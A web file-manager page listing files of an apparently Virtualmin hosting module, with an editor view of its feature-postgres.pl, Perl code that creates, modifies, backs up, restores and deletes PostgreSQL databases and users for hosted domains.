-rw-r--r--
upgrade-licence.pl
3.91
KB
-rwxr-xr-x
upgrade-license.pl
3.91
KB
-rwxr-xr-x
upgrade.cgi
11.96
KB
-rwxr-xr-x
upload-api-docs.pl
6.18
KB
-rwxr-xr-x
upload-dropbox-file.pl
1.78
KB
-rwxr-xr-x
upload-rs-file.pl
2.83
KB
-rwxr-xr-x
upload-s3-file.pl
3.18
KB
-rwxr-xr-x
usage.cgi
5.71
KB
-rwxr-xr-x
user-template
380
B
-rw-r--r--
useradmin_update.pl
2.71
KB
-rwxr-xr-x
validate-domains.pl
3.54
KB
-rwxr-xr-x
validate.cgi
1.67
KB
-rwxr-xr-x
validate.pl
2.29
KB
-rwxr-xr-x
view_backuplog.cgi
4.28
KB
-rwxr-xr-x
view_domain.cgi
7.04
KB
-rwxr-xr-x
view_log.cgi
1.35
KB
-rwxr-xr-x
view_records.cgi
1.38
KB
-rwxr-xr-x
virtual-server-lib-funcs.pl
534.17
KB
-rwxr-xr-x
virtual-server-lib.pl
15.62
KB
-rwxr-xr-x
virtual_feature_api.pl
21.35
KB
-rwxr-xr-x
virtualmin-licence.pl
1.7
KB
-rwxr-xr-x
vui-lib.pl
7.56
KB
-rwxr-xr-x
warnbw-template
453
B
-rw-r--r--
webmin_menu.pl
6.08
KB
-rw-r--r--
webmincron-fixed.pl
473
B
-rwxr-xr-x
wizard-lib.pl
25.03
KB
-rwxr-xr-x
wizard.cgi
2.09
KB
-rwxr-xr-x
writelogs.pl
690
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : feature-postgres.pl
sub require_postgres { return if ($require_postgres++); $postgresql::use_global_login = 1; &foreign_require("postgresql"); %qconfig = &foreign_config("postgresql"); } sub check_module_postgres { return &foreign_available("postgresql"); } # check_depends_postgres(&dom) # Ensure that a sub-server has a parent server with MySQL enabled sub check_depends_postgres { return undef if (!$_[0]->{'parent'}); local $parent = &get_domain($_[0]->{'parent'}); return $text{'setup_edeppostgres'} if (!$parent->{'postgres'}); return undef; } # check_anti_depends_postgres(&dom) # Ensure that a parent server without MySQL does not have any children with it sub check_anti_depends_postgres { if (!$_[0]->{'postgres'}) { local @subs = &get_domain_by("parent", $_[0]->{'id'}); foreach my $s (@subs) { return $text{'setup_edeppostgressub'} if ($s->{'postgres'}); } } return undef; } # obtain_lock_postgres(&domain) # Lock the PostgreSQL config for a domain sub obtain_lock_postgres { my ($d) = @_; return if (!$config{'postgres'}); &obtain_lock_anything($d); } # release_lock_postgres(&domain) # Un-lock the PostgreSQL config file for some domain sub release_lock_postgres { local ($d) = @_; return if (!$config{'postgres'}); &release_lock_anything($d); } # check_warnings_postgres(&dom, &old-domain) # Return warning if a PosgreSQL database or user with a clashing name exists. # This can be overridden to allow a takeover of the DB. sub check_warnings_postgres { local ($d, $oldd) = @_; $d->{'postgres'} && (!$oldd || !$oldd->{'postgres'}) || return undef; if (!$d->{'provision_postgres'}) { # DB clash &require_postgres(); local @dblist = &postgresql::list_databases(); return &text('setup_epostgresdb', $d->{'db'}) if (&indexof($d->{'db'}, @dblist) >= 0); # User clash if (!$d->{'parent'}) { return &text('setup_epostgresuser', &postgres_user($d)) if (&postgres_user_exists($d)); } } return undef; } # postgres_user_exists(&domain) # Returns 1 if some user exists in PostgreSQL sub postgres_user_exists { &require_postgres(); local $user = &postgres_user($_[0]); local $s = &postgresql::execute_sql($qconfig{'basedb'}, "select * from pg_shadow where usename = ?", $user); return $s->{'data'}->[0] ? 1 : 0; } # check_postgres_clash(&domain, [field]) # Returns 1 if some PostgreSQL user or database is used by another domain sub check_postgres_clash { local ($d, $field) = @_; local @doms = grep { $_->{'postgres'} && $_->{'id'} ne $d->{'id'} } &list_domains(); # Check for DB clash if (!$field || $field eq 'db') { foreach my $od (@doms) { foreach my $db (split(/\s+/, $od->{'db_postgres'})) { if ($db eq $d->{'db'}) { return &text('setup_epostgresdbdom', $d->{'db'}, &show_domain_name($od)); } } } } # Check for user clash if (!$d->{'parent'} && (!$field || $field eq 'user')) { foreach my $od (@doms) { if (!$od->{'parent'} && &postgres_user($d) eq &postgres_user($od)) { return &text('setup_epostgresuserdom', &postgres_user($d), &show_domain_name($od)); } } } return undef; } # setup_postgres(&domain, [no-dbs]) # Create a new PostgreSQL database and user sub setup_postgres { local ($d, $nodb) = @_; &require_postgres(); local $tmpl = &get_template($d->{'template'}); local $user = $d->{'postgres_user'} = &postgres_user($d); # Check if only hashed passwords are stored, and if so generate a random # PostgreSQL password now if ($d->{'hashpass'} && !$d->{'parent'} && !$d->{'postgres_pass'}) { $d->{'postgres_pass'} = &random_password(16); delete($d->{'postgres_enc_pass'}); } if (!$d->{'parent'}) { &$first_print($text{'setup_postgresuser'}); local $pass = &postgres_pass($d); if (&postgres_user_exists($user)) { &postgresql::execute_sql_logged($qconfig{'basedb'}, "drop user ".&postgres_uquote($user)); } local $popts = &get_postgresql_user_flags(); &postgresql::execute_sql_logged($qconfig{'basedb'}, "create user ".&postgres_uquote($user). " with password $pass $popts"); &$second_print($text{'setup_done'}); } if (!$nodb && $tmpl->{'mysql_mkdb'} && !$d->{'no_mysql_db'}) { # Create the initial DB local $opts = &default_postgres_creation_opts($d); &create_postgres_database($d, $d->{'db'}, $opts); } else { # No DBs can exist $d->{'db_postgres'} = ""; } # Save the initial password if ($tmpl->{'postgres_nopass'}) { &set_postgres_pass(&postgres_pass($d, 1)); } return 1; } # set_postgres_pass(&domain, [password]) # Updates a domain object to use the specified login for PostgreSQL. Does not # actually change the database - that must be done by modify_postgres. sub set_postgres_pass { local ($d, $pass) = @_; if (defined($pass)) { $d->{'postgres_pass'} = $pass; } else { delete($d->{'postgres_pass'}); } } # postgres_pass(&domain, [neverquote]) sub postgres_pass { if ($_[0]->{'parent'}) { # Password comes from parent domain local $parent = &get_domain($_[0]->{'parent'}); return &postgres_pass($parent); } &require_postgres(); local $pass = defined($_[0]->{'postgres_pass'}) ? $_[0]->{'postgres_pass'} : $_[0]->{'pass'}; return !$_[1] && &postgresql::get_postgresql_version() >= 7 ? &postgres_quote($pass) : $pass; } # postgres_quote(string) # Returns a string in '' quotes, with escaping if needed sub postgres_quote { local ($str) = @_; $str =~ s/'/''/g; return "'$str'"; } # postgres_uquote(string) # Returns a string in "" quotes, with escaping if needed sub postgres_uquote { local ($str) = @_; if ($str =~ /^[A-Za-z0-9\.\_\-]+$/) { return "\"".$str."\""; } else { return "\"".quotemeta($str)."\""; } } # modify_postgres(&domain, &olddomain) # Change the PostgreSQL user's password if needed sub modify_postgres { &require_postgres(); local $tmpl = &get_template($_[0]->{'template'}); local $changeduser = $_[0]->{'user'} ne $_[1]->{'user'} && !$tmpl->{'mysql_nouser'} ? 1 : 0; local $user = &postgres_user($_[0], $changeduser); local $olduser = &postgres_user($_[1]); local $pass = &postgres_pass($_[0]); local $oldpass = &postgres_pass($_[1]); if ($pass ne $oldpass && !$_[0]->{'parent'} && (!$tmpl->{'mysql_nopass'} || $_[0]->{'postgres_pass'})) { # Change PostgreSQL password .. &$first_print($text{'save_postgrespass'}); if (&postgres_user_exists($_[1])) { &postgresql::execute_sql_logged($qconfig{'basedb'}, "alter user ".&postgres_uquote($olduser). " with password $pass"); &$second_print($text{'setup_done'}); # Update all installed scripts database password which are using PostgreSQL &update_all_installed_scripts_database_credentials($_[0], $_[1], 'dbpass', &postgres_pass($_[0]), 'postgres'); } else { &$second_print($text{'save_nopostgres'}); } } if (!$_[0]->{'parent'} && $_[1]->{'parent'}) { # Server has been converted to a parent .. need to create user, and # change database ownerships delete($_[0]->{'postgres_user'}); &$first_print($text{'setup_postgresuser'}); local $pass = &postgres_pass($_[0]); local $popts = &get_postgresql_user_flags(); &postgresql::execute_sql_logged($qconfig{'basedb'}, "create user ".&postgres_uquote($user). " with password $pass $popts"); if (&postgresql::get_postgresql_version() >= 8.0) { foreach my $db (&domain_databases($_[0], [ "postgres" ])) { &postgresql::execute_sql_logged($db, "reassign owned by ".&postgres_uquote($olduser). " to ".&postgres_uquote($user)); &postgresql::execute_sql_logged($qconfig{'basedb'}, "alter database ".&postgres_uquote($db->{'name'}). " owner to ".&postgres_uquote($user)); } } &$second_print($text{'setup_done'}); } elsif ($_[0]->{'parent'} && !$_[1]->{'parent'}) { # Server has changed from parent to sub-server .. need to remove the # old user and update all DB permissions &$first_print($text{'save_postgresuser'}); if (&postgresql::get_postgresql_version() >= 8.0) { foreach my $db (&domain_databases($_[0], [ "postgres" ])) { &postgresql::execute_sql_logged($db, "reassign owned by ".&postgres_uquote($olduser). " to ".&postgres_uquote($user)); &postgresql::execute_sql_logged($qconfig{'basedb'}, "alter database ".&postgres_uquote($db->{'name'}). " owner to ".&postgres_uquote($user)); } } if (&postgres_user_exists($_[1])) { &postgresql::execute_sql_logged($qconfig{'basedb'}, "drop user ".&postgres_uquote($olduser)); } &$second_print($text{'setup_done'}); } elsif ($user ne $olduser && !$_[0]->{'parent'}) { # Rename PostgreSQL user .. &$first_print($text{'save_postgresuser'}); if (&postgres_user_exists($_[1])) { if (&postgresql::get_postgresql_version() >= 7.4) { # Can use proper rename command &postgresql::execute_sql_logged($qconfig{'basedb'}, "alter user ".&postgres_uquote($olduser). " rename to ".&postgres_uquote($user)); &postgresql::execute_sql_logged($qconfig{'basedb'}, "alter user ".&postgres_uquote($user). " with password $pass"); $_[0]->{'postgres_user'} = $user; &$second_print($text{'setup_done'}); # Update all installed scripts database username which are using PostgreSQL &update_all_installed_scripts_database_credentials($_[0], $_[1], 'dbuser', $user, 'postgres'); } else { # Cannot &$second_print($text{'save_norename'}); } } else { &$second_print($text{'save_nopostgres'}); } } elsif ($user ne $olduser && $_[0]->{'parent'}) { # Change owner of PostgreSQL databases &$first_print($text{'save_postgresuser2'}); local $user = &postgres_user($_[0]); if (&postgresql::get_postgresql_version() >= 8.0) { foreach my $db (&domain_databases($_[0], [ "mysql" ])) { &postgresql::execute_sql_logged($qconfig{'basedb'}, "alter database ".&postgres_uquote($db->{'name'}). " owner to ".&postgres_uquote($user)); } &$second_print($text{'setup_done'}); } else { &$second_print($text{'save_nopostgresuser2'}); } } } # delete_postgres(&domain, [preserve-remote]) # Delete the PostgreSQL database and user sub delete_postgres { local ($d, $preserve) = @_; &require_postgres(); my @dblist = &unique(split(/\s+/, $d->{'db_postgres'})); # If PostgreSQL is hosted remotely, don't delete the DB on the assumption that # other servers sharing the DB will still be using it if ($preserve && &remote_postgres($d)) { &$first_print(&text('delete_postgresdb', join(" ", @dblist))); &$second_print(&text('delete_mysqlpreserve', $postgresql::config{'host'})); return 1; } # Delete all databases &delete_postgres_database($d, @dblist) if (@dblist); local $user = &postgres_user($d); if (!$d->{'parent'}) { # Delete the user &$first_print($text{'delete_postgresuser'}); if (&postgres_user_exists($d)) { if (&postgresql::get_postgresql_version() >= 8.0) { local $s = &postgresql::execute_sql($qconfig{'basedb'}, "select datname from pg_database ". "join pg_authid ". "on pg_database.datdba = pg_authid.oid ". "where rolname = '$user'"); foreach my $db (map { $_->[0] } @{$s->{'data'}}) { &postgresql::execute_sql_logged( $db, "reassign owned by ". &postgres_uquote($user). " to ". $postgresql::postgres_login); &postgresql::execute_sql_logged( $qconfig{'basedb'}, "alter database $db owner to ". $postgresql::postgres_login); } }; &postgresql::execute_sql_logged($qconfig{'basedb'}, "drop user ".&postgres_uquote($user)); &$second_print($text{'setup_done'}); } else { &$second_print($text{'save_nopostgres'}); } } return 1; } # clone_postgres(&domain, &old-domain) # Copy all databases and their contents to a new domain sub clone_postgres { local ($d, $oldd) = @_; &$first_print($text{'clone_postgres'}); # Re-create each DB with a new name local %dbmap; foreach my $db (&domain_databases($oldd, [ 'postgres' ])) { local $newname = $db->{'name'}; local $newprefix = &fix_database_name($d->{'prefix'}, 'postgres'); local $oldprefix = &fix_database_name($oldd->{'prefix'}, 'postgres'); if ($newname eq $oldd->{'db'}) { $newname = $d->{'db'}; } elsif ($newname !~ s/\Q$oldprefix\E/$newprefix/) { &$second_print(&text('clone_postgresprefix', $newname, $oldprefix, $newprefix)); next; } if (&check_postgres_database_clash($d, $newname)) { &$second_print(&text('clone_postgresclash', $newname)); next; } &push_all_print(); &set_all_null_print(); local $opts = &get_postgres_creation_opts($oldd, $db->{'name'}); local $ok = &create_postgres_database($d, $newname, $opts); &pop_all_print(); if (!$ok) { &$second_print(&text('clone_postgrescreate', $newname)); } else { $dbmap{$newname} = $db->{'name'}; } } &$second_print(&text('clone_postgresdone', scalar(keys %dbmap))); # Copy across contents if (%dbmap) { &require_postgres(); &$first_print($text{'clone_postgrescopy'}); foreach my $db (&domain_databases($d, [ 'postgres' ])) { local $oldname = $dbmap{$db->{'name'}}; local $temp = &transname(); if ($postgresql::postgres_sameunix) { # Create empty file postgres user can write to local @uinfo = getpwnam($postgresql::postgres_login); if (@uinfo) { &open_tempfile(EMPTY, ">$temp", 0, 1); &close_tempfile(EMPTY); &set_ownership_permissions($uinfo[2], $uinfo[3], undef, $temp); } } local $err = &postgresql::backup_database($oldname, $temp, 'c', undef); if ($err) { &$second_print(&text('clone_postgresbackup', $oldname, $err)); next; } $err = &postgresql::restore_database($db->{'name'}, $temp, 0, 0); &unlink_file($temp); if ($err) { &$second_print(&text('clone_postgresrestore', $db->{'name'}, $err)); next; } } &$second_print($text{'setup_done'}); } } # validate_postgres(&domain) # Make sure all PostgreSQL databases exist sub validate_postgres { local ($d) = @_; &require_postgres(); local %got = map { $_, 1 } &postgresql::list_databases(); foreach my $db (&domain_databases($d, [ "postgres" ])) { $got{$db->{'name'}} || return &text('validate_epostgres',$db->{'name'}); } if (!&postgres_user_exists($d)) { return &text('validate_epostgresuser', &postgres_user($d)); } return undef; } # disable_postgres(&domain) # Invalidate the domain's PostgreSQL user sub disable_postgres { &$first_print($text{'disable_postgres'}); local $user = &postgres_user($_[0]); if ($_[0]->{'parent'}) { &$second_print($text{'save_nopostgrespar'}); return 0; } elsif (&postgres_user_exists($_[0])) { &require_postgres(); local $date = localtime(0); &postgresql::execute_sql_logged($qconfig{'basedb'}, "alter user ".&postgres_uquote($user). " valid until ".&postgres_quote($date)); &$second_print($text{'setup_done'}); return 1; } else { &$second_print($text{'save_nopostgres'}); return 0; } } # enable_postgres(&domain) # Validate the domain's PostgreSQL user sub enable_postgres { &$first_print($text{'enable_postgres'}); local $user = &postgres_user($_[0]); if ($_[0]->{'parent'}) { &$second_print($text{'save_nopostgrespar'}); return 0; } elsif (&postgres_user_exists($_[0])) { &require_postgres(); &postgresql::execute_sql_logged($qconfig{'basedb'}, "alter user ".&postgres_uquote($user). " valid until ".&postgres_quote("Jan 1 2038")); &$second_print($text{'setup_done'}); return 1; } else { &$second_print($text{'save_nopostgres'}); return 0; } } # backup_postgres(&domain, file) # Dumps this domain's postgreSQL database to a backup file sub backup_postgres { local ($d, $file) = @_; &require_postgres(); # Find all the domains's databases local @dbs = split(/\s+/, $d->{'db_postgres'}); # Filter out any excluded DBs my @exclude = &get_backup_db_excludes($d); my %exclude = map { $_, 1 } @exclude; @dbs = grep { !$exclude{$_} } @dbs; # Create base backup file with meta-information local %info = ( 'remote' => $postgresql::config{'host'} ); &write_as_domain_user($d, sub { &write_file($file, \%info) }); # Back them all up local $db; local $ok = 1; foreach $db (@dbs) { &$first_print(&text('backup_postgresdump', $db)); local $dbfile = $file."_".$db; local $destfile = $dbfile; if ($postgresql::postgres_sameunix) { # For a backup done as the postgres user, create an empty file # owned by him first local @uinfo = getpwnam($postgresql::postgres_login); if (@uinfo) { $destfile = &transname(); &open_tempfile(EMPTY, ">$destfile", 0, 1); &close_tempfile(EMPTY); &set_ownership_permissions($uinfo[2], $uinfo[3], undef, $destfile); } } # Limit tables to those that aren't excluded my %texclude = map { $_, 1 } map { (split(/\./, $_))[1] } grep { /^\Q$db\E\./ || /^\*\./ } @exclude; my $tables; if (%texclude) { $tables = [ grep { !$texclude{$_} } &postgresql::list_tables($db) ]; } local $err = &postgresql::backup_database($db, $destfile, 'c', $tables); if ($err) { &$second_print(&text('backup_postgresdumpfailed', "<pre>$err</pre>")); $ok = 0; } else { if ($destfile ne $dbfile) { ©_write_as_domain_user($d, $destfile, $dbfile); &unlink_file($destfile); } &$second_print($text{'setup_done'}); } } return $ok; } # restore_postgres(&domain, file, &opts, &allopts, homeformat, &oldd, asowner) # Restores this domain's postgresql database from a backup file, and re-creates # the postgresql user. sub restore_postgres { local ($d, $file, $opts, $allopts, $homefmt, $oldd, $asd) = @_; local %info; &read_file($file, \%info); &require_postgres(); # If in replication mode, AND the remote PostgreSQL system is the same on both # systems, do nothing if ($allopts->{'repl'} && $postgresql::config{'host'} && $info{'remote'} && $postgresql::config{'host'} eq $info{'remote'}) { &$first_print($text{'restore_postgresdummy'}); &$second_print(&text('restore_postgressameremote', $info{'remote'})); return 1; } if (!$d->{'wasmissing'}) { # Only delete and re-create databases if this domain was not created # as part of the restore process. &$first_print($text{'restore_postgresdrop'}); { local $first_print = \&null_print; # supress messages local $second_print = \&null_print; &require_mysql(); # First clear out the databases &delete_postgres($d); # Now re-set up the user only &setup_postgres($d, 1); } &$second_print($text{'setup_done'}); } # Work out which databases are in backup local ($dbfile, @dbs); foreach $dbfile (glob($file."_*")) { if (-r $dbfile) { $dbfile =~ /\Q$file\E_(.*)$/; push(@dbs, [ $1, $dbfile ]); } } # Finally, import the data local $db; foreach $db (@dbs) { my $clash = &check_postgres_database_clash($d, $db->[0]); if ($clash && $d->{'wasmissing'}) { # DB already exists, silently ignore it if not empty. # This can happen during a restore when PostgreSQL is on a # remote system. my @tables = &postgresql::list_tables($db->[0], 1); if (@tables) { # But grant access to the DB to the domain owner if (&postgresql::get_postgresql_version() >= 8.0) { local $q = &postgres_uquote(&postgres_user($d)); &postgresql::execute_sql_logged( $qconfig{'basedb'}, "alter database $db->[0] owner to $q"); foreach my $t (@tables) { &postgresql::execute_sql_logged( $db->[0], "alter table $t owner to $q"); } } next; } } &$first_print(&text('restore_postgresload', $db->[0])); if ($clash && !$d->{'wasmissing'}) { # DB already exists, and this isn't a newly created domain &$second_print(&text('restore_postgresclash')); return 0; } &$indent_print(); if (!$clash) { &create_postgres_database($d, $db->[0]); } &$outdent_print(); if ($postgresql::postgres_sameunix) { # Restore is running as the postgres user - make the backup # file owned by him, and the parent directory world-accessible local @uinfo = getpwnam($postgresql::postgres_login); if (@uinfo) { &set_ownership_permissions($uinfo[2], $uinfo[3], undef, $db->[1]); local $dir = $file; $dir =~ s/\/[^\/]+$//; &set_ownership_permissions(undef, undef, 0711, $dir); } } local $err; if ($asd) { # As domain owner local $postgresql::postgres_login = &postgres_user($d); local $postgresql::postgres_pass = &postgres_pass($d, 1); $err = &postgresql::restore_database($db->[0], $db->[1], 0, 0); } else { # As master admin $err = &postgresql::restore_database($db->[0], $db->[1], 0, 0); } if ($err) { &$second_print(&text('restore_mysqlloadfailed', "<pre>$err</pre>")); return 0; } else { &$second_print($text{'setup_done'}); } } # If the restore re-created a domain, the list of databases should be synced # to those in the backup if ($d->{'wasmissing'}) { $d->{'db_postgres'} = join(" ", map { $_->[0] } @dbs); } return 1; } # postgres_user(&domain, [always-new]) sub postgres_user { if ($_[0]->{'parent'}) { # Get from parent domain return &postgres_user(&get_domain($_[0]->{'parent'}), $_[1]); } return defined($_[0]->{'postgres_user'}) && !$_[1] ? $_[0]->{'postgres_user'} : &postgres_username($_[0]->{'user'}); } # set_postgres_user(&domain, newuser) # Updates a domain object with a new PostgreSQL username sub set_postgres_user { $_[0]->{'postgres_user'} = $_[1]; } sub postgres_username { return $_[0]; } # postgres_size(&domain, db, [size-only]) sub postgres_size { &require_postgres(); local $size; local @tables; eval { # Make sure DBI errors don't cause a total failure local $main::error_must_die = 1; local $postgresql::force_nodbi = 1; local $d = &postgresql::execute_sql($_[1], "select sum(relpages) from pg_class where relname not like 'pg_%'"); $size = $d->{'data'}->[0]->[0]*1024*2; if (!$_[2]) { @tables = &postgresql::list_tables($_[1], 1); } }; return ($size, scalar(@tables)); } # check_postgres_database_clash(&domain, db) # Returns 1 if some database name is already in use sub check_postgres_database_clash { &require_postgres(); local @dblist = &postgresql::list_databases(); return 1 if (&indexof($_[1], @dblist) >= 0); } # create_postgres_database(&domain, db, &opts) # Create one PostgreSQL database sub create_postgres_database { my ($d, $db, $opts) = @_; &require_postgres(); &obtain_lock_postgres($d); if (!&check_postgres_database_clash($d, $db)) { # Build and run creation command &$first_print(&text('setup_postgresdb', $db)); local $user = &postgres_user($d); local $sql = "create database ".&postgresql::quote_table($db); local $withs; if (&postgresql::get_postgresql_version() >= 7) { $withs .= " owner=".&postgres_uquote($user); } if ($opts->{'encoding'}) { $withs .= " encoding ".&postgres_quote($opts->{'encoding'}); } if ($withs) { $sql .= " with".$withs; } &postgresql::execute_sql_logged($qconfig{'basedb'}, $sql); } else { &$first_print(&text('setup_postgresdbimport', $db)); } # Make sure nobody else can access it eval { local $main::error_must_die = 1; &postgresql::execute_sql_logged($qconfig{'basedb'}, "revoke all on database ".&postgres_uquote($db). " from public"); }; local @dbs = split(/\s+/, $d->{'db_postgres'}); push(@dbs, $db); $d->{'db_postgres'} = join(" ", @dbs); &release_lock_postgres($d); &$second_print($text{'setup_done'}); return 1; } # grant_postgres_database(&domain, dbname) # Alters the owner of a PostgreSQL database to some domain sub grant_postgres_database { local ($d, $dbname) = @_; &require_postgres(); if (&postgresql::get_postgresql_version() >= 8.0) { local $user = &postgres_user($d); &postgresql::execute_sql_logged($qconfig{'basedb'}, "alter database ".&postgres_uquote($dbname). " owner to ".&postgres_uquote($user)); } } # delete_postgres_database(&domain, dbname, ...) # Delete one PostgreSQL database sub delete_postgres_database { my ($d, @deldbs) = @_; &require_postgres(); &obtain_lock_postgres($d); local @dblist = &postgresql::list_databases(); &$first_print(&text('delete_postgresdb', join(", ", @deldbs))); local @dbs = split(/\s+/, $d->{'db_postgres'}); local @missing; foreach my $db (@deldbs) { if (&indexof($db, @dblist) >= 0) { eval { local $main::error_must_die = 1; &postgresql::execute_sql_logged($qconfig{'basedb'}, "drop database ".&postgresql::quote_table($db). " with force"); }; if ($@) { # Force command not supported, fall back to regular # drop with cleanup of connections eval { local $main::error_must_die = 1; &postgresql::execute_sql_logged( $qconfig{'basedb'}, "revoke connection on database ". &postgresql::quote_table($db). " from public"); }; &postgresql::execute_sql_logged($qconfig{'basedb'}, "drop database ".&postgresql::quote_table($db)); } if (defined(&postgresql::delete_database_backup_job)) { &postgresql::delete_database_backup_job($db); } } else { push(@missing, $db); } @dbs = grep { $_ ne $db } @dbs; } $d->{'db_postgres'} = join(" ", @dbs); &release_lock_postgres($d); if (@missing) { &$second_print(&text('delete_mysqlmissing', join(", ", @missing))); } else { &$second_print($text{'setup_done'}); } } # revoke_postgres_database(&domain, dbname) # Takes away a domain's access to a PostgreSQL database, by setting the owner # back to postgres sub revoke_postgres_database { local ($d, $dbname) = @_; &require_postgres(); if (&postgresql::get_postgresql_version() >= 8.0 && &postgres_user_exists("postgres")) { &postgresql::execute_sql_logged($qconfig{'basedb'}, "alter database ".&postgres_uquote($dbname). " owner to ".&postgres_uquote(postgres)); } } # list_postgres_database_users(&domain, db) # Returns a list of PostgreSQL users and passwords who can access some database sub list_all_postgres_users { local ($d, $db) = @_; return ( ); # XXX not possible } # list_all_postgres_users() # Returns a list of all PostgreSQL users sub list_postgres_database_users { local ($d, $db) = @_; return ( ); # XXX not possible } # create_postgres_database_user(&domain, &dbs, username, password) sub create_postgres_database_user { } # list_postgres_tables(&domain, database) # Returns a list of tables in the specified database sub list_postgres_tables { my ($d, $db) = @_; &require_postgres(); return &postgresql::list_tables($db, 1); } # get_database_host_postgres() # Returns the hostname of the server on which PostgreSQL is actually running sub get_database_host_postgres { &require_postgres(); return $postgres::config{'host'} || 'localhost'; } # sysinfo_postgres() # Returns the PostgreSQL version sub sysinfo_postgres { &require_postgres(); local @rv; eval { # Protect against DBI errors local $main::error_must_die = 1; local $postgresql::force_nodbi = 1; local $ver = &postgresql::get_postgresql_version(); @rv = ( [ $text{'sysinfo_postgresql'}, $ver ] ); }; return @rv; } sub startstop_postgres { local ($typestatus) = @_; &require_postgres(); return ( ) if (!&postgresql::is_postgresql_local()); local $r = defined($typestatus->{'postgresql'}) ? $typestatus->{'postgresql'} == 1 : &postgresql::is_postgresql_running(); local @links = ( { 'link' => '/postgresql/', 'desc' => $text{'index_pgmanage'}, 'manage' => 1 } ); if ($r == 1) { return ( { 'status' => 1, 'name' => $text{'index_pgname'}, 'desc' => $text{'index_pgstop'}, 'restartdesc' => $text{'index_pgrestart'}, 'longdesc' => $text{'index_pgstopdesc'}, 'links' => \@links } ); } elsif ($r == 0) { return ( { 'status' => 0, 'name' => $text{'index_pgname'}, 'desc' => $text{'index_pgstart'}, 'longdesc' => $text{'index_pgstartdesc'}, 'links' => \@links } ); } else { return ( ); } } sub stop_service_postgres { &require_postgres(); local $rv = &postgresql::stop_postgresql(); sleep(5); return $rv; } sub start_service_postgres { &require_postgres(); return &postgresql::start_postgresql(); } # check_postgres_login(&domain, dbname, dbuser, dbpass) # Tries to login to PostgreSQL with the given credentials, returning undef # on failure sub check_postgres_login { local ($d, $dbname, $dbuser, $dbpass) = @_; &require_postgres(); local $main::error_must_die = 1; local $postgresql::postgres_login = $dbuser; local $postgresql::postgres_pass = $dbpass; eval { &postgresql::execute_sql($dbname, "select version()") }; local $err = $@; if ($err) { $err =~ s/\s+at\s+.*\sline//g; return $err; } return undef; } # creation_form_postgres(&domain) # Returns options for a new PostgreSQL database sub creation_form_postgres { &require_postgres(); if (&postgresql::get_postgresql_version() >= 7.4) { local $tmpl = &get_template($_[0]->{'template'}); local $cs = $tmpl->{'postgres_encoding'}; $cs = "" if ($cs eq "none"); return &ui_table_row($text{'database_encoding'}, &ui_select("postgres_encoding", $cs, [ [ undef, "<$text{'default'}>" ], &list_postgres_encodings() ])); } } # creation_parse_postgres(&domain, &in) # Parse the form generated by creation_form_postgres, and return a structure # for passing to create_postgres_database sub creation_parse_postgres { local ($d, $in) = @_; local $opts = { 'encoding' => $in->{'postgres_encoding'} }; return $opts; } # list_postgres_encodings() # Returns a list of available PostgreSQL encodings for new DBs, each of which # is a 2-element hash ref containing a code and description sub list_postgres_encodings { if (!scalar(@postgres_encodings_cache)) { @postgres_encodings_cache = ( ); &open_readfile(ENCS, "$module_root_directory/postgres-encodings"); while(<ENCS>) { s/\r|\n//g; local @w = split(/\t/, $_); if ($w[2] !~ /\Q$w[0]\E/i) { $w[2] .= " ($w[0])"; } push(@postgres_encodings_cache, [ $w[0], $w[2] ]); } close(ENCS); @postgres_encodings_cache = sort { lc($a->[1]) cmp lc($b->[1]) } @postgres_encodings_cache; } return @postgres_encodings_cache; } # show_template_postgres(&tmpl) # Outputs HTML for editing PostgreSQL related template options sub show_template_postgres { local ($tmpl) = @_; &require_postgres(); # Default encoding print &ui_table_row(&hlink($text{'tmpl_postgres_encoding'}, "template_postgres_encoding"), &ui_select("postgres_encoding", $tmpl->{'postgres_encoding'}, [ $tmpl->{'default'} ? ( ) : ( [ "", "<$text{'tmpl_postgres_encodingdef'}>" ] ), [ "none", "<$text{'tmpl_postgres_encodingnone'}>" ], &list_postgres_encodings() ])); } # parse_template_postgres(&tmpl) # Updates PostgreSQL related template options from %in sub parse_template_postgres { local ($tmpl) = @_; &require_postgres(); $tmpl->{'postgres_encoding'} = $in{'postgres_encoding'}; } # default_postgres_creation_opts(&domain) # Returns default options for a new PostgreSQL DB in some domain sub default_postgres_creation_opts { local ($d) = @_; local $tmpl = &get_template($d->{'template'}); local %opts; if ($tmpl->{'postgres_encoding'} && $tmpl->{'postgres_encoding'} ne 'none') { $opts{'encoding'} = $tmpl->{'postgres_encoding'}; } return \%opts; } # get_postgres_creation_opts(&domain, db) # Returns a hash ref of database creation options for an existing DB sub get_postgres_creation_opts { local ($d, $dbname) = @_; &require_postgres(); local $opts = { }; eval { local $main::error_must_die = 1; local $rv = &postgresql::execute_sql($qconfig{'basedb'}, "\\l"); foreach my $r (@{$rv->{'data'}}) { if ($r->[0] eq $dbname) { $opts->{'encoding'} = $r->[2]; } } }; return $opts; } # list_all_postgres_databases([&domain]) # Returns the names of all known databases sub list_all_postgres_databases { &require_postgres(); return &postgresql::list_databases(); } # postgres_password_synced(&domain) # Returns 1 if a domain's MySQL password will change along with its admin pass sub postgres_password_synced { my ($d) = @_; if ($d->{'parent'}) { my $parent = &get_domain($d->{'parent'}); return &postgres_password_synced($parent); } if ($d->{'hashpass'}) { # Hashed passwords are being used return 0; } if ($d->{'postgres_pass'}) { # Separate password set return 0; } my $tmpl = &get_template($d->{'template'}); if ($tmpl->{'mysql_nopass'}) { # Syncing disabled in the template return 0; } return 1; } # remote_postgres(&domain) # Returns true if the domain's PostgreSQL DB is on a remote system sub remote_postgres { local ($d) = @_; &require_postgres(); return $postgresql::config{'host'}; } sub get_postgresql_user_flags { &require_postgres(); my @rv = ( "nocreatedb" ); if (&postgresql::get_postgresql_version() < 9.5) { push(@rv, "nocreateuser"); } return join(" ", @rv); } # check_reset_postgres(&domain) # Returns an error message if the reset would delete any databases sub check_reset_postgres { my ($d) = @_; return undef if ($d->{'alias'}); my @dbs = &domain_databases($d, ["postgres"]); return undef if (!@dbs); if (@dbs == 1 && $dbs[0]->{'name'} eq $d->{'db'}) { # There is just one default database .. but is it empty? my @tables = &list_postgres_tables($d, $dbs[0]->{'name'}); return undef if (!@tables); } return &text('reset_epostgres', join(" ", map { $_->{'name'} } @dbs)); } $done_feature_script{'postgres'} = 1; 1;
Close